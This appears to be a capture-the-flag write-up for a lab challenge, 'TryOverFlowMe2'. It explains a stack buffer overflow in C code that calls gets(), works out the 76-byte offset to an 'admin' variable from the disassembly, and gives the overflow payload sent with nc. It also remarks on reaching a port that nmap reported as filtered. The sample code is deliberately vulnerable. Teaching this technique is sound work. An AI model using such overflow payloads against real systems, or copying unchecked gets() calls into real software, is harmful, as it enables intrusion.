M4cCrypt0
back to overview

TryOverFlowMe2 — Buffer Overflow with Variable Overwrite (port 9004)

Summary

Harder variant of the first overflow challenge. Instead of a simple overflow, a specific local variable (admin) has to be overwritten here with an exact value (0x59595959) to reach the flag function.

Reference code

c
int read_flag(){
    const char* filename = "flag.txt";
    FILE* file = fopen(filename, "r");
    if(!file){
        puts("the file flag.txt is not in the current directory, please contact support\n");
        exit(1);
    }
    char ch;
    while ((ch = fgetc(file)) != EOF) {
        putchar(ch);
    }
    fclose(file);
}

int main(){
    setup();
    banner();
    int admin = 0;
    int guess = 1;
    int check = 0;
    char buf[64];

    puts("Please Go ahead and leave a comment :");
    gets(buf);

    if (admin==0x59595959){
        read_flag();
    }
    else{
        puts("Bye bye\n");
        exit(1);
    }
}

Vulnerability

gets(buf) does no length check. buf is 64 bytes, but nothing stops you from sending more bytes. Everything beyond the 64 bytes writes on into adjacent stack memory — in this case eventually into the variable admin.

checksec

text
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

No stack canary, so no extra protection against overwriting stack memory. NX is enabled, but it's not relevant here because no shellcode is executed — only a value is overwritten.

Determining the exact offset via disassembly

bash
gdb ./overflowme2
(gdb) disas main

Relevant instructions:

asm
lea    -0x50(%rbp),%rax      ; address of buf is computed
mov    %rax,%rdi             ; address of buf as 1st argument for gets()
call   gets@plt              ; gets(buf)
cmpl   $0x59595959,-0x4(%rbp) ; if (admin == 0x59595959)

On x86-64 (System V ABI) the first argument of a function goes via the rdi register. The lea -0x50(%rbp),%rax followed by mov %rax,%rdi right before call gets@plt proves that rbp-0x50 is the address of buf. The cmpl instruction shows that admin sits at rbp-0x4.

Offset between the start of buf and admin:

text
0x50 - 0x4 = 0x4c = 76 bytes

Exploit

bash
python3 -c "print('A'*76 + 'YYYY')" 

Sent as a comment to the service via nc:

bash
nc <target-ip> 9004
# paste: 76x 'A' followed by 'YYYY'

YYYY is the ASCII representation of the 4 bytes \x59\x59\x59\x59, which matches 0x59595959 exactly (endianness doesn't matter here because all 4 bytes are identical).

Why this works

Once the payload is sent, gets() writes 76 bytes of A into buf and the following stack space (padding + other local variables), followed by the 4 bytes YYYY exactly at the location of admin. The if (admin == 0x59595959) check in main() therefore succeeds and the program calls read_flag(), which reads out the contents of flag.txt.

Note on connectivity

nmap returned "filtered" for this port, and nc/ncat/pwntools' remote() also initially failed with a timeout from the attack box. In the end a direct nc connection to the right target IP did work — so nmap's "filtered" result was not a real block for a normal TCP connection, probably due to how the firewall/IDS reacts specifically to scanning traffic (SYN probes) versus a full, normal connection.